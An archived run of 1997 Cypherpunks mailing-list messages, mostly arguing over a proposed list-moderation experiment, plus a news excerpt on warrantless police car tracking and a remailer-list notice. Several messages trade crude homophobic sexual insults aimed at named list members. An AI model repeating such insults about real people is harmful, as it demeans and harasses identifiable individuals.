In-Reply-To: <Pine.LNX.3.95.970105061621.1829B-100000@dhp.com>
Message-ID: <32D0C2D9.3ADB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:

> > From: Customer Support Mgmt Tickets <csm-tkt@support.psi.com>
> > To: postmaster@dm.com
> > Cc: abuse@psi.com
> > Subject: csm-00974 (ticket update) dns-77660 (ticket update) Can you help?
> >
> > >I had lunch with Gilmore once. He slurps rather disgustingly when he eats.
> > >I suppose he slurps the same way when he sucks big dicks in San Francisco.

  Hell, now they're selling tickets to this.
  Do CypherPunks get a discount?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 01:23:02 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experim
In-Reply-To: <199701060427.UAA15650@adnetsol.adnetsol.com>
Message-ID: <32D0C423.C07@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
> On or About  5 Jan 97 at 22:38, Black Unicorn wrote:
> > Excellent until the flames list is eliminated.

> Yes I want to read this list, flames and all.  I guess I'm just used
> to it by now.  I don't filter it myself (except manually) so I don't
> want to trust someone I don't know to do it.

Just one other thing, Ross.  Don't assume that the stated purpose and
the real purpose are one and the same.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 6 Jan 1997 01:37:01 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <199701050649.WAA19140@mail.pacifier.com>
Message-ID: <32D0C76E.1CC5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dale Thorn wrote:
> > 1. Dale Thorn is very similar to Damien Thorn.
> > 2. The Roman numerals in my name add up to 555. For a 'C' programmer,
> >    this can be the equivalent of 666 for a Basic programmer, taking
> >    one digit at a time.
> > 3. If you sign (with a pen) the name quickly, using counterclockwise
> >    loops only, it will look exactly like 666, which BTW was a significant
> >    paragraph in a lawsuit between myself and a former employer (they
> >    initiated the paragraph).

> Dale, I can see that I'm going to have to lay in an extra supply of
> garlic and silver bulltets. I suspect that everyone on the CypherPunks
> list is either an employee of the NSA, or a member of the alleged
> 'Circle of Eunuchs'. In the words of the author of "Make BIG $$$",
> "Email everybody, and let Eudora sort them out."

What appears to be and what is, is not necessarily the same.
I don't bother normal people, so you shouldn't need the silver or
the wolfbane.  Actually, the c-punks consist of a lot of "security
people".  Get some literature on George Wackenhut for an overview
of what I'm getting at.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SpyKing <spyking@thecodex.com>
Date: Sun, 5 Jan 1997 22:46:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: List Moderation
Message-ID: <9701060645.AA12503@yod.mne.com>
MIME-Version: 1.0
Content-Type: text/plain


Thank you...

***************************************************************************
The Codex Surveillance & Privacy News - http://www.thecodex.com
Moderator of "The Surveillance List"...http://www.thecodex.com/list.html
The Nets FIRST & ONLY list dedicated to Surveillance Technology...
"We don't spy on you... but we DO keep an eye on those that do..."
***************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sun, 5 Jan 1997 23:06:16 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D066C2.3FAA@gte.net>
Message-ID: <Pine.SUN.3.94.970106015521.18277A-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 5 Jan 1997, Dale Thorn wrote:

> Marc J. Wohler wrote:
> > I have the utmost confidence  in Sandy and his efforts to revive the
> > quality of our list.
> 
> And I have all the confidence in the world in William Bennett,
> George Bush, and all their wonderful helpers in helping with the
> Boys and Girls Clubs of Southern California.
> 
> Why not re-elect Hitler?
> 

One knows one has come up with a potent weapon against one's enemies when
they begin to panic visibly like this.

The smell of fear is in the air.

The question is, will the ultimate internet trump card of a distractor
(Reference Godwin's law) divert the issue and save poor Mr. Thorn from a
policy which is certainly going to be a devastating impact on his public
exposure from here on out?

It does amuse me that George Bush and William Bennett are thrown out
for fear mongering purposes before Godwin's law is invoked.  One would
think Mr. Thorn had mistaken the list for a liberal stronghold.  Then
again, no one ever accused Mr. Dale "Snake Oil" Thorn of being afflicted
with a strong writer's sense of audience).

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 6 Jan 1997 05:48:42 -0800 (PST)
To: unicorn@schloss.li (Black Unicorn)
Subject: Re: Will off-topic libertarian bullshit be allowed on the moderated mailing list?
In-Reply-To: <Pine.SUN.3.94.970106020714.18277B-100000@polaris>
Message-ID: <199701060818.CAA07879@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Black Unicorn wrote:
> 
> On Sun, 5 Jan 1997, Igor Chudov @ home wrote:
> 
> > Hello,
> > 
> > For a long time, cypherpunks mailing list has been plagued by
> > two types of irrelevant traffic: 
> > 
> > 	1) Flames by Vulis against cypherpunks and by cypherpunks against
> > 	   Vulis.
> > 	2) Off-topic rants about libertarian ideology, guns, poverty,
> > 	   Ebonics, etc etc.
> > 
> > Both types of messages were equally damaging to the content that I
> > consider worth reading: discussions about applications of cryptography,
> > protocols and crypto-related code. As a result, most of the people who
> > used to talk about cryptosystems do not do so anymore because they moved
> > to other, less noisy, forums.
> 
> [...]
> 
> > Cypherpunks's uniqueness and appeal is not in the breadth of issues
> > discussed: there are forums dedicated to libertarian issues, guns,
> > languages, terrorism, and so on. The mission of this forum, as I
> > understand it, was to provide amateurs with interest in applying
> > cryptography, and professional cryptographers alike, a good place to
> > discuss crypto-related issues productively.
> > 
> > It is understandable that many of those people who subscribe to
> > cypherpunks' credo of digital freedom happen to be devoted libertarians
> > and have strong views on other political subjects. It does not justify
> > bringing every important issue to this mailing list, however.
> > 
> > If restrictions on content are to be imposed, it is not only fair
> > but also rational to exclude off-topic political rants as well as 
                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > flames. Both of these categories add zero value to accomplishing
> > Cypherpunks' mission.
> 
> Disagree strongly.
> 
> Were you to call for a total restriction on political topics, frankly,
> your argument would be more convincing.  You do not. This suggests,
> correct or not, that your dispute is with libertarian views specifically.

Thanks for your comments. I apologize for not being clear. I do call for
a total restriction on political discussions not related to privacy and
cryptography. It so happens that the vast majority of off-topic
political ranters on this list are of libertarian persuasion, that's why
I used word "libertarian" to identify what I was talking about. Of
course, I consider any discussion of politics not related to the
cypherpunks charter to be inappropriate for the list.

For example, if in the future a socialist joins this list and starts
advocating gun control, he should be censored just as well.

I do not advocate censoring any particular political view more
than any other.

Another question is, how do we tell an on-topic political discussion
from an off-topic discussion? My suggestion for such litmus test 
would be to ask: do different political alternatives being discussed
have immediate ramifications for digital privacy and use of encryption?

For instance, discussion of ITAR regulations obviously passes the litmus
test.  Discussion of machine gun laws, to the contrary, has nothing to
do directly with any encryption issues or privacy issues, and should
therefore be banned.

Some may argue that they can build a logic chain that would imply
that more machine guns means more encryption or something like that,
and use this as an argument in favor of allowing machine gun 
discussions. This is not a correct approach because the logical chain
would not be "direct" in the sense above.

> It also demonstrates the danger of allowing that kind of selective
> moderation, specificially, that it gives rise to interest group politics
> and issue based censorship.  Moderation here is being proposed in (I

This is absolutely correct. I do not believe that this problem has
a universal and perfect solution. One of the possible remedies would be
to write a charter that restricts moderators' ability to censor messages,
and have a diverse moderator board.

> believe) reaction to the "Tim May sucks (insert reproductive organ of
> choice here)" posts and flames having not even a tangential attachment to
> cryptography.  If you get into singling out other topics as somehow
> universally inappropriate I think you get into very deep water.

We may be in very deep water already. Lately we had a discussion
about a token-based protocol for identifying posters. Someone raised
an issue of preserving anonymity of remailer users, and brought up
a point that in certain cases the list maintainer should be "trusted".

Vulis followed up with a message insulting Gilmore, and said that 
Gilmore should not be trusted in that cryptographic protocol.

Is that about cryptography? And if we answer no, why is our answer
different from the answer for a discussion about machine guns? If we
answer yes, we'd have no way to legitimately prevent other annoying
insults.

> Is finance unimportant to cypherpunks?  I think this is a tougher argument
> to make, but only because financial services and banks are not seen as the
> kind of political entitites that free market systems generally are.

Again, some aspects of finance -- for example, ensuring integrity and
secrecy of electronic transactions -- are. Some, like whether blacks
should pay higher rates in consumer loans, or why investment bankers
make more than computer programmers -- are not. The litmus test should
be the same.

> Cypherpunks is an important and distinct list because of the intense cross
> pollenization between e.g., cryptographers and finance types,
> cryptographers and bankers, cryptographers and lawyers, cryptographers and
> polititians.
> 
> In the same way that crypto types despertly want the rest of the world to
> become crypto savvy, it is important for crypto types to become
> political, economicly savvy, and generally understand the larger context
> of crypto applications.

This is an excellent argument. I am not sure if my answer to it is any 
good, but do we want to make this a general education forum that is
meant to be a free replacement for college and books? Probably not.

"Political savviness for cypherpunks" probably does not mean that
cypherpunks should learn here how to run campaigns. Financial savviness
probably does not imply that cypherpunks should expect to learn here the
methods of derivatives pricing, negotiating M&A deals, and security 
analysis. There are better places to do that.

You are mentioning learning the "context of crypto applications", and that
is very close to the answer that I had in mind. Discussions of all 
disciplines -- law, finance, politics -- are very important and relevant 
here as long as they are giving us the "context of crypto applications",
and irrelevant beyond that.

> > Cypherpunks will make the networks safe for privacy.
> 
> And how will this happen without having the bankers, lawyers, polititians,
> brokers, and economists in the boat?

Having all these interesting people here does not contradict my
proposals in any way.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sun, 5 Jan 1997 23:25:33 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Will off-topic libertarian bullshit be allowed on the moderated mailing list?
In-Reply-To: <199701060239.UAA03419@manifold.algebra.com>
Message-ID: <Pine.SUN.3.94.970106020714.18277B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 5 Jan 1997, Igor Chudov @ home wrote:

> Hello,
> 
> For a long time, cypherpunks mailing list has been plagued by
> two types of irrelevant traffic: 
> 
> 	1) Flames by Vulis against cypherpunks and by cypherpunks against
> 	   Vulis.
> 	2) Off-topic rants about libertarian ideology, guns, poverty,
> 	   Ebonics, etc etc.
> 
> Both types of messages were equally damaging to the content that I
> consider worth reading: discussions about applications of cryptography,
> protocols and crypto-related code. As a result, most of the people who
> used to talk about cryptosystems do not do so anymore because they moved
> to other, less noisy, forums.

[...]

> Cypherpunks's uniqueness and appeal is not in the breadth of issues
> discussed: there are forums dedicated to libertarian issues, guns,
> languages, terrorism, and so on. The mission of this forum, as I
> understand it, was to provide amateurs with interest in applying
> cryptography, and professional cryptographers alike, a good place to
> discuss crypto-related issues productively.
> 
> It is understandable that many of those people who subscribe to
> cypherpunks' credo of digital freedom happen to be devoted libertarians
> and have strong views on other political subjects. It does not justify
> bringing every important issue to this mailing list, however.
> 
> If restrictions on content are to be imposed, it is not only fair
> but also rational to exclude off-topic political rants as well as 
> flames. Both of these categories add zero value to accomplishing
> Cypherpunks' mission.

Disagree strongly.

Were you to call for a total restriction on political topics, frankly,
your argument would be more convincing.  You do not. This suggests,
correct or not, that your dispute is with libertarian views specifically.
It also demonstrates the danger of allowing that kind of selective
moderation, specificially, that it gives rise to interest group politics
and issue based censorship.  Moderation here is being proposed in (I
believe) reaction to the "Tim May sucks (insert reproductive organ of
choice here)" posts and flames having not even a tangential attachment to
cryptography.  If you get into singling out other topics as somehow
universally inappropriate I think you get into very deep water.

Is finance unimportant to cypherpunks?  I think this is a tougher argument
to make, but only because financial services and banks are not seen as the
kind of political entitites that free market systems generally are.

Cypherpunks is an important and distinct list because of the intense cross
pollenization between e.g., cryptographers and finance types,
cryptographers and bankers, cryptographers and lawyers, cryptographers and
polititians.

In the same way that crypto types despertly want the rest of the world to
become crypto savvy, it is important for crypto types to become
political, economicly savvy, and generally understand the larger context
of crypto applications.

There also exists a forum for pure cryptography discussion already.  (2
actually, the cryptography and the coderpunks lists).

> 	- Igor.
> 
> Appendix: what we all received when we subscribed:

[All but the last line deleted]

> Cypherpunks will make the networks safe for privacy.

And how will this happen without having the bankers, lawyers, polititians,
brokers, and economists in the boat?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 6 Jan 1997 02:47:13 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experim
Message-ID: <199701061046.CAA22622@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About  6 Jan 97 at 1:21, Dale Thorn wrote:

> Ross Wright wrote:
> > On or About  5 Jan 97 at 22:38, Black Unicorn wrote:
> > > Excellent until the flames list is eliminated.
> 
> > Yes I want to read this list, flames and all.  I guess I'm just
> > used to it by now.  I don't filter it myself (except manually) so
> > I don't want to trust someone I don't know to do it.
> 
> Just one other thing, Ross.  Don't assume that the stated purpose
> and the real purpose are one and the same.

Shit, I learned that in the service of my great country.  Who's 
sig-line talks about liberty being taken away little bits at a time?

As I said before freedom of speech has a price other than the blood 
of patriots.  That price is the tolerance of IDEAS!  Any fucking 
ideas that happen to come the fuck up!!!!!

I'm gonna tolerate who-the-hell-ever I want to!  There are not any 
grey areas when it comes to free speech.  You censor one because of 
bad manners or downright bad taste, then you censor all.

And fuck all you guys who *plonked* me over my last flame war with
T.M., cause you just missed a great post!  (I learned that in film
school: you have to like your own work).  

So my question is: is there going to be a maximum number of times I
can say fuck in a good post? Like a 3-fuck limit?  Or will you take
out the magic marker and draw through them?

Ross




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 03:13:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <v030078eeaef5fd35084d@[139.167.130.248]>
Message-ID: <32D0DCAB.7AB5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


I believe that every "EASY $$$ MONEY" posting ought to be forwarded
to the webmaster at the site from which it originated.
  Those who are harboring these generous souls should also be afforded
the opportunity to rake in the cash. I can hardly see how anybody 
could possibly resent being reminded of the wonderful opportuninties
they are making it possible for us to learn of.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Date: Mon, 6 Jan 1997 01:08:11 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: Moderation
Message-ID: <Pine.ULT.3.95.970106030159.256B-100000@krypton.mankato.msus.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Welp, I've been on this list for a long, long time, since its inception
way back when.  I haven't posted much, lately; mostly lurking and watching
and, occasionally giggling at the foolishness that has gone on in recent
months (i'm a sociologist by education, so watch this list as a "culture
in motion" may someday make for an interesting paper :-). Ever since the
internet was shot in the foot by a pair of lawyers selling green cards, I
was waiting for the chaos to reach this list.  It's here now. 

I have no problems with the idea of moderating this list.  If people wanna
waste my time with SPAM and petty flamewars, they shoudl do it in an
appropriate forum.  I've been here since the beginning, and continue to be
here, because I have an interest in crypto, crypto policy, and the
politics surrounding it.  Not to irk my system administrator with a daily
dose of CypherSPAM coming through her system.

And if a don't like the moderation decisions, by golly I can go somewhere
else.  Nice thing is that anybody else can as well.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 2.2

iQCVAwUBMtClTjokqlyVGmCFAQEZYQP/XUynVmGT0eFCwEAthGO8FcB1Zi76h/Er
qG00Q9363cl88yTxj50Jlzmjb4SpIoobtrhCi6fL8s1AabtprALgiTe7KlWQnPva
TOLwyTCVtkE7eeY0XtS+eZ18JEV3Z4cHVDIHtIIqIYygBwLyCC5qCmsV9z1Anz8t
KU88GDEaeM8=
=NDGz
-----END PGP SIGNATURE-----
 
Robert A. Hayden                        hayden@krypton.mankato.msus.edu
        -=-=-=-=-=-                              -=-=-=-=-=-
        http://krypton.mankato.msus.edu/~hayden/Welcome.html

-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GED/J d-- s:++>: a- C++(++++)$ ULUO++ P+>+++ L++ !E---- W+(---) N+++ o+
K+++ w+(---) O- M+$>++ V-- PS++(+++)>$ PE++(+)>$ Y++ PGP++ t- 5+++ X++
R+++>$ tv+ b+ DI+++ D+++ G+++++>$ e++$>++++ h r-- y+**
------END GEEK CODE BLOCK------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 03:13:38 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970105175238.006a3b9c@popd.ix.netcom.com>
Message-ID: <32D0DEE3.7248@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Marc J. Wohler wrote:
> > I have the utmost confidence  in Sandy and his efforts to revive the
> > quality of our list.
> 
> And I have all the confidence in the world in William Bennett,
> George Bush, and all their wonderful helpers in helping with the
> Boys and Girls Clubs of Southern California.
> 
> Why not re-elect Hitler?

  "Why can't we just all get along?"
  (O.J., are you listening, this time?)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 03:13:46 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experim
In-Reply-To: <199701060427.UAA15650@adnetsol.adnetsol.com>
Message-ID: <32D0E371.12DD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
 
> Yes I want to read this list, flames and all.  I guess I'm just used
> to it by now.  I don't filter it myself (except manually) so I don't
> want to trust someone I don't know to do it.

  Part of the problem I see is that there are a fair number of postings
that include traded insults, but which also contain some excellent
commentary and/or information.

  Perhaps much of the spamming/flaming could be curtailed by John
Gilmore announcing that he has stopped sucking cocks. <g>
  (Or am I 'unclear on the concept', here?)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 5 Jan 1997 19:43:40 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D066C2.3FAA@gte.net>
Message-ID: <199701060345.UAA26890@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <32D066C2.3FAA@gte.net>, on 01/05/97 
   at 06:43 PM, Dale Thorn <dthorn@gte.net> said:

::Marc J. Wohler wrote:
::> I have the utmost confidence  in Sandy and his efforts to revive the 
::> quality of our list.

::And I have all the confidence in the world in William Bennett,
::George Bush, and all their wonderful helpers in helping with the Boys and
::Girls Clubs of Southern California.

        what's so far fetched about this; after all, if _any_ of the 
    calculations are correct as to various deals of the master spy maker, the 
    very best since WWII, the great public servant, blah, blah --are you sick 
    yet? --as to the amount of illicit cash controlled by same, why not; at 
    least he can a) pay for the Uzis; b) pay for their funerals; and c) do us 
    all a favour.

::Why not re-elect Hitler?

        in Southern California?   ROTFFL


  ==
  "When buying and selling are controlled by legislation, 
    the first things to be bought and sold are legislators"  
        --P.J. O'Rourke.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMtB0p704kQrCC2kFAQFN2QQAj7jT7wOwMOQgqwnEGMlZfvm3W0RUhvj9
I5kvzPqHuKyt99y00hs3E6ONAEGyTt34ONLZqNewo44NgYostkMESN4ljpbwD+Py
crcuPK9yHKF4wgWMjBWHfdi3Fg0u4/aJH2nve5wbpFXQJ5Ot59AXVMAXb46T+A79
wNFtLxOmyko=
=2T5V
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sun, 5 Jan 1997 19:56:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: High-tech tracking by police raises legal outcry
Message-ID: <19970106033902.1417.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



>From The Orange County Register, Front Page, Sunday 1-5-97

Police across the country secretly tail hundres of people each year by attaching high-tech
transmitters to suspects' cars and tracking them on squadroom computer screens.

Detectives, federal agents and prosecutors routinely conceal use of the technology from
defendants, their lawyers and the public, an investigation by The Orange County Register
has found. Autorities in Orange County often plant the devices on cars without getting
a warrant from a judge.

...

The technology, marketed by a company called Teletrac, is simple: A tramsmitter sends a
radio signal to a computer, which pinpoints the car's street location. Police with the 
proper software can follow a transimitter-equipped vehicle in real time as it moves across a
street map on a computer screen.

...

"Is there any expectation of privacy on the whereabouts of a car on a public street? I
suggest there isn't," said [Jeffrey] Ferguson, president of the county's narcotics officer's
association. "I've told them they don't need a warrant unless they intend to enter a car."

...

The system automatically records the time, date, location and duration of the car's stops.
The system could tell police, for example, that the suspect's car stopped on Main Street
between 4th and 5th streest for about an hour on Jan. 5. The records help police focus
their investigation on places the suspects visits.

-------

Obviously, several list members were wrong. Travel GAK is not coming; It is already here.


<CENTER>BIG BROTHER IS WATCHING</CENTER>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 03:13:53 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Will off-topic libertarian bullshit be allowed on the moderated mailing list?
In-Reply-To: <199701060239.UAA03419@manifold.algebra.com>
Message-ID: <32D0F6F3.70BF@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> For a long time, cypherpunks mailing list has been plagued by
> two types of irrelevant traffic:
>         2) Off-topic rants about libertarian ideology, guns, poverty,
>            Ebonics, etc etc.
 
  I don't consider discussion of ideologies and social issues to be
irrelevant to 'any' forum.
  Numbers have no soul. The development of the Atomic Bomb took place
within a closed system where the goal was central and the social
implications were, at best, peripheral. The continued development
of Atomic Physics remained in the hands of the 'powers that be',
with its progress hidden from the public, and with no social
discourse on the wide range of issues that would affect the public.
  We ended up with a bunch of guys sitting in cement rooms, holding
keys that would enable them to destroy the world.
  The 'Star Wars' program would have ended up the same way, except
the fools in power were confident enough in their ability to hornswaggle
the public and ramrod into place whatever policies they wanted, that
they had to 'brag' about it, and open it up for discussion.
  When Joe Average shouted, "Hey, Shit-For-Brains, I'm sitting here
trying to feed my kids, and you're pissing all my money away.", the
developers and backers of 'Star Wars' seemed to think that his
complaints were 'off-topic', or 'irrelevant'.

> Both types of messages were equally damaging to the content that I
> consider worth reading: discussions about applications of cryptography,
> protocols and crypto-related code. As a result, most of the people who
> used to talk about cryptosystems do not do so anymore because they moved
> to other, less noisy, forums.

  I've seen several postings from 'newbies', asking perfectly reasonable
questions in regard to cryptography,  and saw them get nothing but 
shit and abuse for answers. I didn't see them ask again.
  As a matter of fact, the only serious, technical, crypto-related 
questions I have asked of anyone on this forum, I have asked by private 
email, after ascertaining that the person seemed both knowledgeable
and sincere about cryptography.
  Perhaps if the 'experts', busy discussing highly-technical areas,
were to take the time to educate those seeking to gain a wider knowledge
of cryptography, then CypherPunks would have a broader base of 
active crypto-related postings.  The more plants that you have in your
garden, the less room there is for weeds.

> It was very sad to see that nobody except Eric Murray wanted to
> seriously try to discuss IPG algorithm, which was in my opinion an
> excellent case study of a home-grown cryptosystem. Eric wrote lots of
> excellent C code to check the "random" number generator, but no one else
> was interested.

  Somebody was interested enough to post a question regarding it, but
I believe he only got one reply, telling him what an idiot he was.
  There were also several people interested enough in some 'code'
that they received as a result of joining this forum, that they
'ran' it, and had their systems damaged, as a result.
  They took a 'roasting' on the forum, which was not really totally
inappropriate, since it came from 'fuck@yourself.up', but I expected
that there would be no shortage of people to help them deal with
this problem in this forum.  Apparently, I was wrong.
  I did my best to help one of them, by private email, and what 
surprised me was that he got no other offers of assistance with
his problem, but rather, continued email informing what a 'dweeb'
he was.
 
> If restrictions on content are to be imposed, it is not only fair
> but also rational to exclude off-topic political rants as well as
> flames. Both of these categories add zero value to accomplishing
> Cypherpunks' mission.

  I think that 'political rants' need to cover a wide range of 
territory in order to deal with an important issue that needs to
be kept in mind in regard to the very purpose of cryptography:
  There is a 'shitload of ratfuckers' out there.
  I re-read Phil Zimmerman's comments in the PGP documentation
every now and again, and although he may say it more concisely
than some of those on the forum, he is saying exactly the same
thing.

  I read some of the well-informed postings, in regard to such things
as export laws and potential end-runs around various regulations,
and they may be fine, but, to me, they represent an incomplete
world-view which needs the added input of those who remind us that,
in the end, there's a big rat-dick waiting for anyone who bends 
over too far in order to read the fine-print.

  I enjoy your postings, I look forward to them in the future.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 03:13:57 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Privacy/Moderation
In-Reply-To: <199701060239.UAA03419@manifold.algebra.com>
Message-ID: <32D0FACE.741B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:

> Appendix: what we all received when we subscribed:
> 
> Cypherpunks assume privacy is a good thing and wish there were more
> of it.  Cypherpunks acknowledge that those who want privacy must
> create it for themselves and not expect governments, corporations, or
> other large, faceless organizations to grant them privacy out of
> beneficence.

  Does 'moderation' relate to 'privacy'?
  Could this be amended to say:
 Cypherpunks assume moderation is a good thing and wish there were more
 of it.  Cypherpunks acknowledge that those who want moderation must
 create it for themselves and not expect governments, corporations, or
 other large, faceless organizations to grant them moderation out of
 beneficence.

>  Cypherpunks do not seek to prevent other people from
> speaking about their experiences or their opinions.

  Is this the 'old' policy?

> Cypherpunks love to practice.  They love to play with public key
> cryptography.  They love to play with anonymous and pseudonymous mail
> forwarding and delivery.  They love to play with DC-nets.  They love
> to play with secure communications of all kinds.

  So, if everyone is 'surprised' that somebody has been 'playing'
with the CypherPunks email, then they shouldn't be.

> Cypherpunks know that a widely dispersed system can't be shut down.

  But, Lord knows, they'll try.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 6 Jan 1997 03:43:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam Trading
Message-ID: <32D100DD.13EB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


If anyone is unhappy with the spam they receive on CypherPunks,
I am willing to trade some of my spam from other conferences.

  Send Me:
    1 "Jimmy Gilmore is a cocksucker."
  I Will Send You:
    1,000 "Merry Xmas"

  Send Me:
    1 "Timmy May is a cocksucker."
  I Will Send You:
    1,000 "Happy New Year"

  Send Me:
    1 "Help! I ran that file from fuck@yourself.up"
  I Will Send You:
    1,000 "Welcome to the Conference"

  Send Me:
    1 "unsribrive"
  I Will Send You:
    1,000 "Sorry You're Leaving"

  I can only offer you these amazing deals because one of the 
conferences I subscribe to is OCD-L (Obsessive-Compulsive Disorder 
List).
  No need to 'ACT NOW', I'll have plenty of "Merry Xmas" and "Happy
New Years" messages continuing to trickle in from the Procrasinators
Support list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@tivoli.com>
Date: Mon, 6 Jan 1997 04:39:46 -0800 (PST)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: High-tech tracking by police raises legal outcry
In-Reply-To: <19970106033902.1417.qmail@squirrel.owl.de>
Message-ID: <32D0F27E.6AF2@tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel wrote:
> 
> The technology, marketed by a company called Teletrac, is simple: 
> A tramsmitter sends a radio signal to a computer ...

Anybody know the frequencies used?

(Anybody willing to guess whether the FCC might quietly introduce
prohibitions against scanners that can receive those frequencies?)

(Gee, that looks paranoid.)

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 6 Jan 1997 06:53:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701061450.GAA27916@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
